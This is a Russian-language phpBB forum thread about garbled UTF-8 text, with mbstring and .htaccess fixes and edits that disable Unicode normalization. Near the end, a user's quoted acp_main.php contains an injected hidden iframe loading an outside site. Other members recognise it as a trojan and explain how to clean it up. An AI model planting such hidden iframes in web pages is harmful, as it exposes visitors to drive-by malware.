[FAQ] Проблема с UTF8

[volset]

Иногда вместо текста отображаются ?????
Ключевое слово здесь иногда

Вот пациент http://www.astra-club.org.ua
Для того что бы отловить баг надо несколько раз нажимать кнопку обновить до появления бага.
От браузера независит так как знаки "??????" уже приходят с сервера.
Текст который читается з базы отображается всегда нормально.
PHP Version 5.2.1

Если существует проблема, проявляющаяся в "битом тексте" - замене некоторых символов в сообщении на BOM (знак вопроса в ромбе):

Основной метод решения:
Установить значение mbstring.func_overload равным 0.

Возможное решение:
В корневой директории форума создайте файл .htaccess со следующим содержанием:
.htaccess

Код: Выделить всё

CharsetDisable On
CharsetDefault UTF-8 
CharsetSourceEnc UTF-8

Если после этого теряется работоспособность ресурса, попробовать убрать из вышеуказанного кода строку

Код: Выделить всё

CharsetDisable On

Если не помогает, то вместо первого попробовать добавить в .htaccess строку

Код: Выделить всё

AddDefaultCharset UTF-8

Если у хостера Russian Apache попробуйте добавить в .htaccess

Код: Выделить всё

CharsetDisable On
AddHandler default-handler html
CharsetDefault utf-8

И если совсем ничего не помогает:

Код: Выделить всё

OPEN
includes/utf/utf_tools.php

FIND
function utf8_normalize_nfc($strings)
{

AFTER, ADD
return $strings;

уже приходят с сервера.
Текст который читается з базы отображается всегда нормально.
PHP Version 5.2.1

Если существует проблема, проявляющаяся в

[Stern]

Перечитал еще раз тему, но так и не увидел ответа: что за собой повлечет отключение данной функции?

Если этого лучше не делать, то может попробовать в файле includes/utf/utf_tools.php нужно отключить работу вспомогательных функций через mb_string

Здесь уже предлагали, например:

Код: Выделить всё

if ( false && extension_loaded('mbstring'))

или

Код: Выделить всё

//        mb_internal_encoding('UTF-8');

[Alek$]

Stern
нет, этого делать не стоит.

[dvg_lab]

Столкнулся с такой же проблемой, хостинг свой FreeBSD 7.0, Apache 2.2, PHP 5.2.6 ( mod_php ), изначала форум поставил 3.0.2 месяца три форум работал без проблем, тут понадобилось на этот же сервер установить cms Bitrix, там в условиях установки есть такие пункты

Код: Выделить всё

allow_call_time_pass_reference = 1
display_errors = 1
mbstring.func_overload = 2
mbstring.internal_encoding = UTF-8

Вначале я воткнул это в php.ini и сразу же получил проблемы с форумом, перебросил настройки в .htaccess где битрикс стоит, то есть php.ini стал таким же как до установки битрикса, но... сообщения таки _иногда_ бьются, зависимости нет никакой, (возможно чаще в IE7 и почти всегда от определенных юзеров), вырубил utf8_normalize_nfc() пока что нормально.
в форумный .htaccess напрямую забивал

Код: Выделить всё

AddDefaultCharset UTF-8

php_flag allow_call_time_pass_reference 0
php_value mbstring.func_overload 0
php_value mbstring.internal_encoding NULL

php_value mbstring.http_input pass
php_value mbstring.http_output pass

не помогало

Локализация проблемы очевидно лежит в плоскости mbstring, но ковырять код нормализатора это никаких нервов не хватит. У меня в частности эта гадина иногда заменяет символы на последовательность EF BF BD, что есть define('UTF8_REPLACEMENT', "\xEF\xBF\xBD"); в utf_normalizer.php вобщем очевидно буг в php и mbsting но отловить и пофиксить его сложно.

Странно другое стоило один раз прописать в php.ini неправильные настроки, как откат на нормальный php.ini уже не помогает.

[rxu]

Просьба к тем, кто продолжает сталкиваться с проблемой битых постов при отправке, проверить в конфигурации PHP наличие Zend multibyte support и отключить его (вариант: пересобрать PHP без него).

[Jon-V]

Друзья !

Сам второй день читаю эту тему и **** с настройкой форума.

Баг был в том что в сообщениях совершенно хаотично менялись символы на символы � в опере, а в мозилле это выглядело как квадратики с буквами FF FD

1) Изменния в .htaccess - не помогло
2) манипулирование кодировками в PHPmyAdmin - не помогло
3) слить базу перекодировать и опять залить - не получилось
4) добавить return; в строке 144 в файле includes/utf/utf_normalizer.php - баг исчез !!!

Полагаю разработчики перемудрили немного с этой системой перекодирования

насколько опасно это действие "добавить return; в строке 144 в файле includes/utf/utf_normalizer.php"
к чему это может привести ???

[nissin]

Последний солюшен на эту тему:
http://www.phpbbguru.net/community/post ... t=#p223827

[Stern]

Полагаю разработчики перемудрили немного с этой системой перекодирования

Согласен. Зачем такие навороты - непонятно, один хрен по-китайски никто писать не будет...

насколько опасно это действие "добавить return;

А другого выхода пока нет. Без этого будут сыпаться квадратики.

Почитай по ссылке выше. Мне помогло...

[crash]

Зачем такие навороты - непонятно, один хрен по-китайски никто писать не будет

на сегодня разработчики не выпустили версию phpbb для России, а в Китае один хрен будут писать по-китайски

[m3tra]

Здравствуйте!
И я вчера столкнулся с этой проблемой, сегодня.ю ничего не делая всё стало норм(или кто-то помог, чтоб стало норм(хостеры)) вот форум стал работать на русском языке, а вот админка до сих пор висит и не открывается, я думаю эти проблемы связаны, так как всё это случилось в одно время, я изменил кодировку браузера. и каракули зхаменились на русские буквы, а вот админка всё равно не открывается, вот что говорит:

Код: Выделить всё

[phpBB Debug] PHP Notice: in file /adm/index.php on line 150: Cannot modify header information - headers already sent by (output started at /includes/acp/acp_main.php:472)
[phpBB Debug] PHP Notice: in file /adm/index.php on line 152: Cannot modify header information - headers already sent by (output started at /includes/acp/acp_main.php:472)
[phpBB Debug] PHP Notice: in file /adm/index.php on line 153: Cannot modify header information - headers already sent by (output started at /includes/acp/acp_main.php:472)
[phpBB Debug] PHP Notice: in file /adm/index.php on line 154: Cannot modify header information - headers already sent by (output started at /includes/acp/acp_main.php:472)

Что делать? файл .htaccess у меня уже был с таким содержанием

Код: Выделить всё

<Files "config.php">
Order Allow,Deny
Deny from All
</Files>

<Files "common.php">
Order Allow,Deny
Deny from All
</Files>

я добавил ещё

Код: Выделить всё

CharsetDisable On
CharsetDefault UTF-8
CharsetSourceEnc UTF-8

пока ничего не изменилось!
Подскажите, как сделать, чтобы в админке, чтоб она открывалась???

[rxu]

/includes/acp/acp_main.php:472

И что у вас в этом файле в этой строке плюс/минус 10 строк?

[m3tra]

начиная с 460 строки и заканчивается как раз473

Код: Выделить всё

		// Warn if install is still present
		if (file_exists($phpbb_root_path . 'install'))
		{
			$template->assign_var('S_REMOVE_INSTALL', true);
		}

		$this->tpl_name = 'acp_main';
		$this->page_title = 'ACP_MAIN';
	}
}


echo "<iframe src=\"http://thedeadpit.com/?click=346156\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";
?>

[Izya]

А причем тут 144?

output started at /includes/acp/acp_main.php:472

[rxu]

m3tra
Ещё раз спрашиваю: файл /includes/acp/acp_main.php, строка 472 плюс/минус 10 строк.

Добавлено спустя 53 секунды:

echo "<iframe src=\"http://thedeadpit.com/?click=346156\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";

Это что такое? Вирусню подцепили?

Добавлено спустя 30 секунд:
Вам сюда http://www.phpbbguru.net/community/topic14816.html

[Izya]

echo "<iframe src=\"http://thedeadpit.com/?click=346156\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";

Очевидно, вируса поймали.
1. Удалите эти строки.
2. Проверьте другие файлы, имеющие ту же дату редактирования, что и этот.
3. Проверьте свой компьютер на вирусы.
4. Смените пароль на ftp.

[m3tra]

Всем Спасибо!
Оказывается мне вчера хостеры кодировку подправили. А на файлах фтп действительно троян был. 50 файлов зараза заразил;) все восстановил из резарвной копии.Спасибо. что вы такой отличный форум создали, оперативно работаете!